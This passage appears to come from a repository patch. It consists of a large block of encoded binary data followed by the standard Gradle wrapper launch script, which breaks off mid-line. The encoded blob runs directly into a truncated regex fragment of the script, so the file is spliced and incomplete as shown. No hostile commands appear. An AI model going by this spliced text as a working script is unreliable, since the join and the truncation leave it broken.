zq`>vfKb*+=uw`}NsM}~oY}gW%XFwy&A>bi{7s>@(cu4NM;!%ieP$8r6&6jfoq756W z$Y<`J*d7nK4`6t`sZ;l%Oen|+pk|Ry2`p9lri5VD!Gq`U#Ms}pgX3ylAFr8(?1#&dxrtJgB>VqrlWZf61(r`&zMXsV~l{UGjI7R@*NiMJLUoK*kY&gY9kC@^}Fj* zd^l6_t}%Ku<0PY71%zQL`@}L}48M!@=r)Q^Ie5AWhv%#l+Rhu6fRpvv$28TH;N7Cl z%I^4ffBqx@Pxpq|rTJV)$CnxUPOIn`u278s9#ukn>PL25VMv2mff)-RXV&r`Dwid7}TEZxXX1q(h{R6v6X z&x{S_tW%f)BHc!jHNbnrDRjGB@cam{i#zZK*_*xlW@-R3VDmp)<$}S%t*@VmYX;1h zFWmpXt@1xJlc15Yjs2&e%)d`fimRfi?+fS^BoTcrsew%e@T^}wyVv6NGDyMGHSKIQ zC>qFr4GY?#S#pq!%IM_AOf`#}tPoMn7JP8dHXm(v3UTq!aOfEXNRtEJ^4ED@jx%le zvUoUs-d|2(zBsrN0wE(Pj^g5wx{1YPg9FL1)V1JupsVaXNzq4fX+R!oVX+q3tG?L= z>=s38J_!$eSzy0m?om6Wv|ZCbYVHDH*J1_Ndajoh&?L7h&(CVii&rmLu+FcI;1qd_ zHDb3Vk=(`WV?Uq;<0NccEh0s`mBXcEtmwt6oN99RQt7MNER3`{snV$qBTp={Hn!zz z1gkYi#^;P8s!tQl(Y>|lvz{5$uiXsitTD^1YgCp+1%IMIRLiSP`sJru0oY-p!FPbI)!6{XM%)(_Dolh1;$HlghB-&e><;zU&pc=ujpa-(+S&Jj zX1n4T#DJDuG7NP;F5TkoG#qjjZ8NdXxF0l58RK?XO7?faM5*Z17stidTP|a%_N z^e$D?@~q#Pf+708cLSWCK|toT1YSHfXVIs9Dnh5R(}(I;7KhKB7RD>f%;H2X?Z9eR z{lUMuO~ffT!^ew= z7u13>STI4tZpCQ?yb9;tSM-(EGb?iW$a1eBy4-PVejgMXFIV_Ha^XB|F}zK_gzdhM z!)($XfrFHPf&uyFQf$EpcAfk83}91Y`JFJOiQ;v5ca?)a!IxOi36tGkPk4S6EW~eq z>WiK`Vu3D1DaZ}515nl6>;3#xo{GQp1(=uTXl1~ z4gdWxr-8a$L*_G^UVd&bqW_nzMM&SlNW$8|$lAfo@zb+P>2q?=+T^qNwblP*RsN?N zdZE%^Zs;yAwero1qaoqMp~|KL=&npffh981>2om!fseU(CtJ=bW7c6l{U5(07*e0~ zJRbid6?&psp)ilmYYR3ZIg;t;6?*>hoZ3uq7dvyyq-yq$zH$yyImjfhpQb@WKENSP zl;KPCE+KXzU5!)mu12~;2trrLfs&nlEVOndh9&!SAOdeYd}ugwpE-9OF|yQs(w@C9 zoXVX`LP~V>%$<(%~tE*bsq(EFm zU5z{H@Fs^>nm%m%wZs*hRl=KD%4W3|(@j!nJr{Mmkl`e_uR9fZ-E{JY7#s6i()WXB0g-b`R{2r@K{2h3T+a>82>722+$RM*?W5;Bmo6$X3+Ieg9&^TU(*F$Q3 zT572!;vJeBr-)x?cP;^w1zoAM`nWYVz^<6N>SkgG3s4MrNtzQO|A?odKurb6DGZffo>DP_)S0$#gGQ_vw@a9JDXs2}hV&c>$ zUT0;1@cY5kozKOcbN6)n5v)l#>nLFL_x?2NQgurQH(KH@gGe>F|$&@ zq@2A!EXcIsDdzf@cWqElI5~t z4cL9gg7{%~4@`ANXnVAi=JvSsj95-7V& zME3o-%9~2?cvlH#twW~99=-$C=+b5^Yv}Zh4;Mg-!LS zw>gqc=}CzS9>v5C?#re>JsRY!w|Mtv#%O3%Ydn=S9cQarqkZwaM4z(gL~1&oJZ;t; zA5+g3O6itCsu93!G1J_J%Icku>b3O6qBW$1Ej_oUWc@MI)| zQ~eyS-EAAnVZp}CQnvG0N>Kc$h^1DRJkE7xZqJ0>p<>9*apXgBMI-v87E0+PeJ-K& z#(8>P_W^h_kBkI;&e_{~!M+TXt@z8Po*!L^8XBn{of)knd-xp{heZh~@EunB2W)gd zAVTw6ZZasTi>((qpBFh(r4)k zz&@Mc@ZcI-4d639AfcOgHOU+YtpZ)rC%Bc5gw5o~+E-i+bMm(A6!uE>=>1M;V!Wl4 z<#~muol$FsY_qQC{JDc8b=$l6Y_@_!$av^08`czSm!Xan{l$@GO-zPq1s>WF)G=wv zDD8j~Ht1pFj)*-b7h>W)@O&m&VyYci&}K|0_Z*w`L>1jnGfCf@6p}Ef*?wdficVe_ zmPRUZ(C+YJU+hIj@_#IiM7+$4kH#VS5tM!Ksz01siPc-WUe9Y3|pb4u2qnn zRavJiRpa zq?tr&YV?yKt<@-kAFl3s&Kq#jag$hN+Y%%kX_ytvpCsElgFoN3SsZLC>0f|m#&Jhu zp7c1dV$55$+k78FI2q!FT}r|}cIV;zp~#6X2&}22$t6cHx_95FL~T~1XW21VFuatb zpM@6w>c^SJ>Pq6{L&f9()uy)TAWf;6LyHH3BUiJ8A4}od)9sriz~e7}l7Vr0e%(=>KG1Jay zW0azuWC`(|B?<6;R)2}aU`r@mt_#W2VrO{LcX$Hg9f4H#XpOsAOX02x^w9+xnLVAt z^~hv2guE-DElBG+`+`>PwXn5kuP_ZiOO3QuwoEr)ky;o$n7hFoh}Aq0@Ar<8`H!n} zspCC^EB=6>$q*gf&M2wj@zzfBl(w_@0;h^*fC#PW9!-kT-dt*e7^)OIU{Uw%U4d#g zL&o>6`hKQUps|G4F_5AuFU4wI)(%9(av7-u40(IaI|%ir@~w9-rLs&efOR@oQy)}{ z&T#Qf`!|52W0d+>G!h~5A}7VJky`C3^fkJzt3|M&xW~x-8rSi-uz=qBsgODqbl(W#f{Ew#ui(K)(Hr&xqZs` zfrK^2)tF#|U=K|_U@|r=M_Hb;qj1GJG=O=d`~#AFAccecIaq3U`(Ds1*f*TIs=IGL zp_vlaRUtFNK8(k;JEu&|i_m39c(HblQkF8g#l|?hPaUzH2kAAF1>>Yykva0;U@&oRV8w?5yEK??A0SBgh?@Pd zJg{O~4xURt7!a;$rz9%IMHQeEZHR8KgFQixarg+MfmM_OeX#~#&?mx44qe!wt`~dd zqyt^~ML>V>2Do$huU<7}EF2wy9^kJJSm6HoAD*sRz%a|aJWz_n6?bz99h)jNMp}3k ztPVbos1$lC1nX_OK0~h>=F&v^IfgBF{#BIi&HTL}O7H-t4+wwa)kf3AE2-Dx@#mTA z!0f`>vz+d3AF$NH_-JqkuK1C+5>yns0G;r5ApsU|a-w9^j4c+FS{#+7- zH%skr+TJ~W_8CK_j$T1b;$ql_+;q6W|D^BNK*A+W5XQBbJy|)(IDA=L9d>t1`KX2b zOX(Ffv*m?e>! zS3lc>XC@IqPf1g-%^4XyGl*1v0NWnwZTW?z4Y6sncXkaA{?NYna3(n@(+n+#sYm}A zGQS;*Li$4R(Ff{obl3#6pUsA0fKuWurQo$mWXMNPV5K66V!XYOyc})^>889Hg3I<{V^Lj9($B4Zu$xRr=89-lDz9x`+I8q(vEAimx1K{sTbs|5x7S zZ+7o$;9&9>@3K;5-DVzGw=kp7ez%1*kxhGytdLS>Q)=xUWv3k_x(IsS8we39Tijvr z`GKk>gkZTHSht;5q%fh9z?vk%sWO}KR04G9^jleJ^@ovWrob7{1xy7V=;S~dDVt%S za$Q#Th%6g1(hiP>hDe}7lcuI94K-2~Q0R3A1nsb7Y*Z!DtQ(Ic<0;TDKvc6%1kBdJ z$hF!{uALB0pa?B^TC}#N5gZ|CKjy|BnT$7eaKj;f>Alqdb_FA3yjZ4CCvm)D&ibL) zZRi91HC!TIAUl<|`rK_6avGh`!)TKk=j|8*W|!vb9>HLv^E%t$`@r@piI(6V8pqDG zBON7~=cf1ZWF6jc{qkKm;oYBtUpIdau6s+<-o^5qNi-p%L%xAtn9OktFd{@EjVAT% z#?-MJ5}Q9QiK_jYYWs+;I4&!N^(mb!%4zx7qO6oCEDn=8oL6#*9XIJ&iJ30O`0vsFy|fEVkw}*jd&B6!IYi+~Y)qv6QlM&V9g0 zh)@^BVDB|P&#X{31>G*nAT}Mz-j~zd>L{v{9AxrxKFw8j;ccQ$NE0PZCc(7fEt1xd z`(oR2!gX6}R+Z77VkDz^{I)@%&HQT5q+1xlf*3R^U8q%;IT8-B53&}dNA7GW`Ki&= z$lrdH zDCu;j$GxW<&v_4Te7=AE2J0u1NM_7Hl9$u{z(8#%8vvrx2P#R7AwnY|?#LbWmROa; zOJzU_*^+n(+k;Jd{e~So9>OF>fPx$Hb$?~K1ul2xr>>o@**n^6IMu8+o3rDp(X$cC z`wQt9qIS>yjA$K~bg{M%kJ00A)U4L+#*@$8UlS#lN3YA{R{7{-zu#n1>0@(#^eb_% zY|q}2)jOEM8t~9p$X5fpT7BZQ1bND#^Uyaa{mNcFWL|MoYb@>y`d{VwmsF&haoJuS2W7azZU0{tu#Jj_-^QRc35tjW~ae&zhKk!wD}#xR1WHu z_7Fys#bp&R?VXy$WYa$~!dMxt2@*(>@xS}5f-@6eoT%rwH zv_6}M?+piNE;BqaKzm1kK@?fTy$4k5cqYdN8x-<(o6KelwvkTqC3VW5HEnr+WGQlF zs`lcYEm=HPpmM4;Ich7A3a5Mb3YyQs7(Tuz-k4O0*-YGvl+2&V(B&L1F8qfR0@vQM-rF<2h-l9T12eL}3LnNAVyY_z51xVr$%@VQ-lS~wf3mnHc zoM({3Z<3+PpTFCRn_Y6cbxu9v>_>eTN0>hHPl_NQQuaK^Mhrv zX{q#80ot;ptt3#js3>kD&uNs{G0mQp>jyc0GG?=9wb33hm z`y2jL=J)T1JD7eX3xa4h$bG}2ev=?7f>-JmCj6){Upo&$k{2WA=%f;KB;X5e;JF3IjQBa4e-Gp~xv- z|In&Rad7LjJVz*q*+splCj|{7=kvQLw0F@$vPuw4m^z=B^7=A4asK_`%lEf_oIJ-O z{L)zi4bd#&g0w{p1$#I&@bz3QXu%Y)j46HAJKWVfRRB*oXo4lIy7BcVl4hRs<%&iQ zr|)Z^LUJ>qn>{6y`JdabfNNFPX7#3`x|uw+z@h<`x{J4&NlDjnknMf(VW_nKWT!Jh zo1iWBqT6^BR-{T=4Ybe+?6zxP_;A5Uo{}Xel%*=|zRGm1)pR43K39SZ=%{MDCS2d$~}PE-xPw4ZK6)H;Zc&0D5p!vjCn0wCe&rVIhchR9ql!p2`g0b@JsC^J#n_r*4lZ~u0UHKwo(HaHUJDHf^gdJhTdTW z3i7Zp_`xyKC&AI^#~JMVZj^9WsW}UR#nc#o+ifY<4`M+?Y9NTBT~p`ONtAFf8(ltr*ER-Ig!yRs2xke#NN zkyFcaQKYv>L8mQdrL+#rjgVY>Z2_$bIUz(kaqL}cYENh-2S6BQK-a(VNDa_UewSW` zMgHi<3`f!eHsyL6*^e^W7#l?V|42CfAjsgyiJsA`yNfAMB*lAsJj^K3EcCzm1KT zDU2+A5~X%ax-JJ@&7>m`T;;}(-e%gcYQtj}?ic<*gkv)X2-QJI5I0tA2`*zZRX(;6 zJ0dYfMbQ+{9Rn3T@Iu4+imx3Y%bcf2{uT4j-msZ~eO)5Z_T7NC|Nr3)|NWjomhv=E zXaVin)MY)`1QtDyO7mUCjG{5+o1jD_anyKn73uflH*ASA8rm+S=gIfgJ);>Zx*hNG z!)8DDCNOrbR#9M7Ud_1kf6BP)x^p(|_VWCJ+(WGDbYmnMLWc?O4zz#eiP3{NfP1UV z(n3vc-axE&vko^f+4nkF=XK-mnHHQ7>w05$Q}iv(kJc4O3TEvuIDM<=U9@`~WdKN* zp4e4R1ncR_kghW}>aE$@OOc~*aH5OOwB5U*Z)%{LRlhtHuigxH8KuDwvq5{3Zg{Vr zrd@)KPwVKFP2{rXho(>MTZZfkr$*alm_lltPob4N4MmhEkv`J(9NZFzA>q0Ch;!Ut zi@jS_=0%HAlN+$-IZGPi_6$)ap>Z{XQGt&@ZaJ(es!Po5*3}>R4x66WZNsjE4BVgn z>}xm=V?F#tx#e+pimNPH?Md5hV7>0pAg$K!?mpt@pXg6UW9c?gvzlNe0 z3QtIWmw$0raJkjQcbv-7Ri&eX6Ks@@EZ&53N|g7HU<;V1pkc&$3D#8k!coJ=^{=vf z-pCP;vr2#A+i#6VA?!hs6A4P@mN62XYY$#W9;MwNia~89i`=1GoFESI+%Mbrmwg*0 zbBq4^bA^XT#1MAOum)L&ARDXJ6S#G>&*72f50M1r5JAnM1p7GFIv$Kf9eVR(u$KLt z9&hQ{t^i16zL1c(tRa~?qr?lbSN;1k;%;p*#gw_BwHJRjcYPTj6>y-rw*dFTnEs95 z`%-AoPL!P16{=#RI0 zUb6#`KR|v^?6uNnY`zglZ#Wd|{*rZ(x&Hk8N6ob6mpX~e^qu5kxvh$2TLJA$M=rx zc!#ot+sS+-!O<0KR6+Lx&~zgEhCsbFY{i_DQCihspM?e z-V}HemMAvFzXR#fV~a=Xf-;tJ1edd}Mry@^=9BxON;dYr8vDEK<<{ zW~rg(ZspxuC&aJo$GTM!9_sXu(EaQJNkV9AC(ob#uA=b4*!Uf}B*@TK=*dBvKKPAF z%14J$S)s-ws9~qKsf>DseEW(ssVQ9__YNg}r9GGx3AJiZR@w_QBlGP>yYh0lQCBtf zx+G;mP+cMAg&b^7J!`SiBwC81M_r0X9kAr2y$0(Lf1gZK#>i!cbww(hn$;fLIxRf? z!AtkSZc-h76KGSGz%48Oe`8ZBHkSXeVb!TJt_VC>$m<#}(Z}!(3h631ltKb3CDMw^fTRy%Ia!b&at`^g7Ew-%WLT9(#V0OP9CE?uj62s>`GI3NA z!`$U+i<`;IQyNBkou4|-7^9^ylac-Xu!M+V5p5l0Ve?J0wTSV+$gYtoc=+Ve*OJUJ z$+uIGALW?}+M!J9+M&#bT=Hz@{R2o>NtNGu1yS({pyteyb>*sg4N`KAD?`u3F#C1y z2K4FKOAPASGZTep54PqyCG(h3?kqQQAxDSW@>T2d!n;9C8NGS;3A8YMRcL>b=<<%M zMiWf$jY;`Ojq5S{kA!?28o)v$;)5bTL<4eM-_^h4)F#eeC2Dj*S`$jl^yn#NjJOYT zx%yC5Ww@eX*zsM)P(5#wRd=0+3~&3pdIH7CxF_2iZSw@>kCyd z%M}$1p((Bidw4XNtk&`BTkU{-PG)SXIZ)yQ!Iol6u8l*SQ1^%zC72FP zLvG>_Z0SReMvB%)1@+et0S{<3hV@^SY3V~5IY(KUtTR{*^xJ^2NN{sIMD9Mr9$~(C$GLNlSpzS=fsbw-DtHb_T|{s z9OR|sx!{?F``H!gVUltY7l~dx^a(2;OUV^)7 z%@hg`8+r&xIxmzZ;Q&v0X%9P)U0SE@r@(lKP%TO(>6I_iF{?PX(bez6v8Gp!W_nd5 z<8)`1jcT)ImNZp-9rr4_1MQ|!?#8sJQx{`~7)QZ75I=DPAFD9Mt{zqFrcrXCU9MG8 zEuGcy;nZ?J#M3!3DWW?Zqv~dnN6ijlIjPfJx(#S0cs;Z=jDjKY|$w2s4*Xa1Iz953sN2Lt!Vmk|%ZwOOqj`sA--5Hiaq8!C%LV zvWZ=bxeRV(&%BffMJ_F~~*FdcjhRVNUXu)MS(S#67rDe%Ler=GS+WysC1I2=Bmbh3s6wdS}o$0 zz%H08#SPFY9JPdL6blGD$D-AaYi;X!#zqib`(XX*i<*eh+2UEPzU4}V4RlC3{<>-~ zadGA8lSm>b7Z!q;D_f9DT4i)Q_}ByElGl*Cy~zX%IzHp)@g-itZB6xM70psn z;AY8II99e6P2drgtTG5>`^|7qg`9MTp%T~|1N3tBqV}2zgow3TFAH{XPor0%=HrkXnKyxyozHlJ6 zd3}OWkl?H$l#yZqOzZbMI+lDLoH48;s10!m1!K87g;t}^+A3f3e&w{EYhVPR0Km*- zh5-ku$Z|Ss{2?4pGm(Rz!0OQb^_*N`)rW{z)^Cw_`a(_L9j=&HEJl(!4rQy1IS)>- zeTIr>hOii`gc(fgYF(cs$R8l@q{mJzpoB5`5r>|sG zBpsY}RkY(g5`bj~D>(;F8v*DyjX(#nVLSs>)XneWI&%Wo>a0u#4A?N<1SK4D}&V1oN)76 z%S>a2n3n>G`YY1>0Hvn&AMtMuI_?`5?4y3w2Hnq4Qa2YH5 zxKdfM;k467djL31Y$0kd9FCPbU=pHBp@zaIi`Xkd80;%&66zvSqsq6%aY)jZacfvw ztkWE{ZV6V2WL9e}Dvz|!d96KqVkJU@5ryp#rReeWu>mSrOJxY^tWC9wd0)$+lZc%{ zY=c4#%OSyQJvQUuy^u}s8DN8|8T%TajOuaY^)R-&8s@r9D`(Ic4NmEu)fg1f!u`xUb;9t#rM z>}cY=648@d5(9A;J)d{a^*ORdVtJrZ77!g~^lZ9@)|-ojvW#>)Jhe8$7W3mhmQh@S zU=CSO+1gSsQ+Tv=x-BD}*py_Ox@;%#hPb&tqXqyUW9jV+fonnuCyVw=?HR>dAB~Fg z^vl*~y*4|)WUW*9RC%~O1gHW~*tJb^a-j;ae2LRNo|0S2`RX>MYqGKB^_ng7YRc@! zFxg1X!VsvXkNuv^3mI`F2=x6$(pZdw=jfYt1ja3FY7a41T07FPdCqFhU6%o|Yb6Z4 zpBGa=(ao3vvhUv#*S{li|EyujXQPUV;0sa5!0Ut)>tPWyC9e0_9(=v*z`TV5OUCcx zT=w=^8#5u~7<}8Mepqln4lDv*-~g^VoV{(+*4w(q{At6d^E-Usa2`JXty++Oh~on^ z;;WHkJsk2jvh#N|?(2PLl+g!M0#z_A;(#Uy=TzL&{Ei5G9#V{JbhKV$Qmkm%5tn!CMA? z@hM=b@2DZWTQ6>&F6WCq6;~~WALiS#@{|I+ucCmD6|tBf&e;$_)%JL8$oIQ%!|Xih1v4A$=7xNO zZVz$G8;G5)rxyD+M0$20L$4yukA_D+)xmK3DMTH3Q+$N&L%qB)XwYx&s1gkh=%qGCCPwnwhbT4p%*3R)I}S#w7HK3W^E%4w z2+7ctHPx3Q97MFYB48HfD!xKKb(U^K_4)Bz(5dvwyl*R?)k;uHEYVi|{^rvh)w7}t z`tnH{v9nlVHj2ign|1an_wz0vO)*`3RaJc#;(W-Q6!P&>+@#fptCgtUSn4!@b7tW0&pE2Qj@7}f#ugu4*C)8_}AMRuz^WG zc)XDcOPQjRaGptRD^57B83B-2NKRo!j6TBAJntJPHNQG;^Oz}zt5F^kId~miK3J@l ztc-IKp6qL!?u~q?qfGP0I~$5gvq#-0;R(oLU@sYayr*QH95fnrYA*E|n%&FP@Cz`a zSdJ~(c@O^>qaO`m9IQ8sd8!L<+)GPJDrL7{4{ko2gWOZel^3!($Gjt|B&$4dtfTmBmC>V`R&&6$wpgvdmns zxcmfS%9_ZoN>F~azvLFtA(9Q5HYT#A(byGkESnt{$Tu<73$W~reB4&KF^JBsoqJ6b zS?$D7DoUgzLO-?P`V?5_ub$nf1p0mF?I)StvPomT{uYjy!w&z$t~j&en=F~hw|O(1 zlV9$arQmKTc$L)Kupwz_zA~deT+-0WX6NzFPh&d+ly*3$%#?Ca9Z9lOJsGVoQ&1HNg+)tJ_sw)%oo*DK)iU~n zvL``LqTe=r=7SwZ@LB)9|3QB5`0(B9r(iR}0nUwJss-v=dXnwMRQFYSRK1blS#^g(3@z{`=8_CGDm!LESTWig zzm1{?AG&7`uYJ;PoFO$o8RWuYsV26V{>D-iYTnvq7igWx9@w$EC*FV^vpvDl@i9yp zPIqiX@hEZF4VqzI3Y)CHhR`xKN8poL&~ak|wgbE4zR%Dm(a@?bw%(7(!^>CM!^4@J z6Z)KhoQP;WBq_Z_&<@i2t2&xq>N>b;Np2rX?yK|-!14iE2T}E|jC+=wYe~`y38g3J z8QGZquvqBaG!vw&VtdXWX5*i5*% zJP~7h{?&E|<#l{klGPaun`IgAJ4;RlbRqgJz5rmHF>MtJHbfqyyZi53?Lhj=(Ku#& z__ubmZIxzSq3F90Xur!1)Vqe6b@!ueHA!93H~jdHmaS5Q^CULso}^poy)0Op6!{^9 zWyCyyIrdBP4fkliZ%*g+J-A!6VFSRF6Liu6G^^=W>cn81>4&7(c7(6vCGSAJ zQZ|S3mb|^Wf=yJ(h~rq`iiW~|n#$+KcblIR<@|lDtm!&NBzSG-1;7#YaU+-@=xIm4 zE}edTYd~e&_%+`dIqqgFntL-FxL3!m4yTNt<(^Vt9c6F(`?9`u>$oNxoKB29<}9FE zgf)VK!*F}nW?}l95%RRk8N4^Rf8)Xf;drT4<|lUDLPj^NPMrBPL;MX&0oGCsS za3}vWcF(IPx&W6{s%zwX{UxHX2&xLGfT{d9bWP!g;Lg#etpuno$}tHoG<4Kd*=kpU z;4%y(<^yj(UlG%l-7E9z_Kh2KoQ19qT3CR@Ghr>BAgr3Vniz3LmpC4g=g|A3968yD2KD$P7v$ zx9Q8`2&qH3&y-iv0#0+jur@}k`6C%7fKbCr|tHX2&O%r?rBpg`YNy~2m+ z*L7dP$RANzVUsG_Lb>=__``6vA*xpUecuGsL+AW?BeSwyoQfDlXe8R1*R1M{0#M?M zF+m19`3<`gM{+GpgW^=UmuK*yMh3}x)7P738wL8r@(Na6%ULPgbPVTa6gh5Q(SR0f znr6kdRpe^(LVM;6Rt(Z@Lsz3EX*ry6(WZ?w>#ZRelx)N%sE+MN>5G|Z8{%@b&D+Ov zPU{shc9}%;G7l;qbonIb_1m^Qc8ez}gTC-k02G8Rl?7={9zBz8uRX2{XJQ{vZhs67avlRn| zgRtWl0Lhjet&!YC47GIm%1gdq%T24_^@!W3pCywc89X4I5pnBCZDn(%!$lOGvS*`0!AoMtqxNPFgaMR zwoW$p;8l6v%a)vaNsesED3f}$%(>zICnoE|5JwP&+0XI}JxPccd+D^gx`g`=GsUc0 z9Uad|C+_@_0%JmcObGnS@3+J^0P!tg+fUZ_w#4rk#TlJYPXJiO>SBxzs9(J;XV9d{ zmTQE1(K8EYaz9p^XLbdWudyIPJlGPo0U*)fAh-jnbfm@SYD_2+?|DJ-^P+ojG{2{6 z>HJtedEjO@j_tqZ4;Zq1t5*5cWm~W?HGP!@_f6m#btM@46cEMhhK{(yI&jG)fwL1W z^n_?o@G8a-jYt!}$H*;{0#z8lANlo!9b@!c5K8<(#lPlpE!z86Yq#>WT&2} z;;G1$pD%iNoj#Z=&kij5&V1KHIhN-h<;{HC5wD)PvkF>CzlQOEx_0;-TJ*!#&{Wzt zKcvq^SZIdop}y~iouNqtU7K7+?eIz-v_rfNM>t#i+dD$s_`M;sjGubTdP)WI*uL@xPOLHt#~T<@Yz>xt50ZoTw;a(a}lNiDN-J${gOdE zx?8LOA|tv{Mb}=TTR=LcqMqbCJkKj+@;4Mu)Cu0{`~ohix6E$g&tff)aHeUAQQ%M? zIN4uSUTzC1iMEWL*W-in1y)C`E+R8j?4_?X4&2Zv5?QdkNMz(k} zw##^Ikx`#_s>i&CO_mu@vJJ*|3ePRDl5pq$9V^>D;g0R%l>lw;ttyM6Sy`NBF{)Lr zSk)V>mZr96+aHY%vTLLt%vO-+juw6^SO_ zYGJaGeWX6W(TOQx=5oTGXOFqMMU*uZyt>MR-Y`vxW#^&)H zk0!F8f*@v6NO@Z*@Qo)+hlX40EWcj~j9dGrLaq%1;DE_%#lffXCcJ;!ZyyyZTz74Q zb2WSly6sX{`gQeToQsi1-()5EJ1nJ*kXGD`xpXr~?F#V^sxE3qSOwRSaC9x9oa~jJ zTG9`E|q zC5Qs1xh}jzb5UPYF`3N9YuMnI7xsZ41P;?@c|%w zl=OxLr6sMGR+`LStLvh)g?fA5p|xbUD;yFAMQg&!PEDYxVYDfA>oTY;CFt`cg?Li1 z0b})!9Rvw&j#*&+D2))kXLL z0+j=?7?#~_}N-qdEIP>DQaZh#F(#e0WNLzwUAj@r694VJ8?Dr5_io2X49XYsG^ zREt0$HiNI~6VV!ycvao+0v7uT$_ilKCvsC+VDNg7yG1X+eNe^3D^S==F3ByiW0T^F zH6EsH^}Uj^VPIE&m)xlmOScYR(w750>hclqH~~dM2+;%GDXT`u4zG!p((*`Hwx41M z4KB+`hfT(YA%W)Ve(n+Gu9kuXWKzxg{1ff^xNQw>w%L-)RySTk9kAS92(X0Shg^Q? zx1YXg_TLC^?h6!4mBqZ9pKhXByu|u~gF%`%`vdoaGBN3^j4l!4x?Bw4Jd)Z4^di}! zXlG1;hFvc>H?bmmu1E7Vx=%vahd!P1#ZGJOJYNbaek^$DHt`EOE|Hlij+hX>ocQFSLVu|wz`|KVl@Oa;m2k6b*mNK2Vo{~l9>Qa3@B7G7#k?)aLx;w6U ze8bBq%vF?5v>#TspEoaII!N}sRT~>bh-VWJ7Q*1qsz%|G)CFmnttbq$Ogb{~YK_=! z{{0vhlW@g!$>|}$&4E3@k`KPElW6x#tSX&dfle>o!irek$NAbDzdd2pVeNzk4&qgJ zXvNF0$R96~g0x+R1igR=Xu&X_Hc5;!Ze&C)eUTB$9wW&?$&o8Yxhm5s(S`;?{> z*F?9Gr0|!OiKA>Rq-ae=_okB6&yMR?!JDer{@iQgIn=cGxs-u^!8Q$+N&pfg2WM&Z zulHu=Uh~U>fS{=Nm0x>ACvG*4R`Dx^kJ65&Vvfj`rSCV$5>c04N26Rt2S?*kh3JKq z9(3}5T?*x*AP(X2Ukftym0XOvg~r6Ms$2x&R&#}Sz23aMGU&7sU-cFvE3Eq`NBJe84VoftWF#v7PDAp`@V zRFCS24_k~;@~R*L)eCx@Q9EYmM)Sn}HLbVMyxx%{XnMBDc-YZ<(DXDBYUt8$u5Zh} zBK~=M9cG$?_m_M61YG+#|9Vef7LfbH>(C21&aC)x$^Lg}fa#SF){RX|?-xZjSOrn# z2ZAwUF)$VB<&S;R3FhNSQOV~8w%A`V9dWyLiy zgt7G=Z4t|zU3!dh5|s(@XyS|waBr$>@=^Dspmem8)@L`Ns{xl%rGdX!R(BiC5C7Vo zXetb$oC_iXS}2x_Hy}T(hUUNbO47Q@+^4Q`h>(R-;OxCyW#eoOeC51jzxnM1yxBrp zz6}z`(=cngs6X05e79o_B7@3K|Qpe3n38Py_~ zpi?^rj!`pq!7PHGliC$`-8A^Ib?2qgJJCW+(&TfOnFGJ+@-<<~`7BR0f4oSINBq&R z2CM`0%WLg_Duw^1SPwj-{?BUl2Y=M4e+7yL1{C&&f&zjF06#xf>VdLozgNye(BNgSD`=fFbBy0HIosLl@JwCQl^s;eTnc( z3!r8G=K>zb`|bLLI0N|eFJk%s)B>oJ^M@AQzqR;HUjLsOqW<0v>1ksT_#24*U@R3HJu*A^#1o#P3%3_jq>icD@<`tqU6ICEgZrME(xX#?i^Z z%Id$_uyQGlFD-CcaiRtRdGn|K`Lq5L-rx7`vYYGH7I=eLfHRozPiUtSe~Tt;IN2^gCXmf2#D~g2@9bhzK}3nphhG%d?V7+Zq{I2?Gt*!NSn_r~dd$ zqkUOg{U=MI?Ehx@`(X%rQB?LP=CjJ*V!rec{#0W2WshH$X#9zep!K)tzZoge*LYd5 z@g?-j5_mtMp>_WW`p*UNUZTFN{_+#m*bJzt{hvAdkF{W40{#L3w6gzPztnsA_4?&0 z(+>pv!zB16rR-(nm(^c>Z(its{ny677vT8sF564^mlZvJ!h65}OW%Hn|2OXbOQM%b z{6C54Z2v;^hyMQ;UH+HwFD2!F!VlQ}6Z{L0_9g5~CH0@Mqz?ZC`^QkhOU#$Lx<4`B zyZsa9uPF!rZDo8ZVfzzR#raQ>5|)k~_Ef*wDqG^76o)j!C4 zykvT*o$!-MBko@?{b~*Zf2*YMlImrK`cEp|#D7f%Twm<|C|dWD \(.*\)$'` + if expr "$link" : '/.*' > /dev/null; then + PRG="$link" + else + PRG=`dirname "$PRG"`"/$link" + fi +done +SAVED="`pwd`" +cd "`dirname \"$PRG\"`/" >/dev/null +APP_HOME="`pwd -P`" +cd "$SAVED" >/dev/null + +APP_NAME="Gradle" +APP_BASE_NAME=`basename "$0"` + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m"' + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD="maximum" + +warn () { + echo "$*" +} + +die () { + echo + echo "$*" + echo + exit 1 +} + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "`uname`" in + CYGWIN* ) + cygwin=true + ;; + Darwin* ) + darwin=true + ;; + MINGW* ) + msys=true + ;; + NONSTOP* ) + nonstop=true + ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD="$JAVA_HOME/jre/sh/java" + else + JAVACMD="$JAVA_HOME/bin/java" + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD="java" + which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." +fi + +# Increase the maximum file descriptors if we can. +if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then + MAX_FD_LIMIT=`ulimit -H -n` + if [ $? -eq 0 ] ; then + if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then + MAX_FD="$MAX_FD_LIMIT" + fi + ulimit -n $MAX_FD + if [ $? -ne 0 ] ; then + warn "Could not set maximum file descriptor limit: $MAX_FD" + fi + else + warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" + fi +fi + +# For Darwin, add options to specify how the application appears in the dock +if $darwin; then + GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" +fi + +# For Cygwin, switch paths to Windows format before running java +if $cygwin ; then + APP_HOME=`cygpath --path --mixed 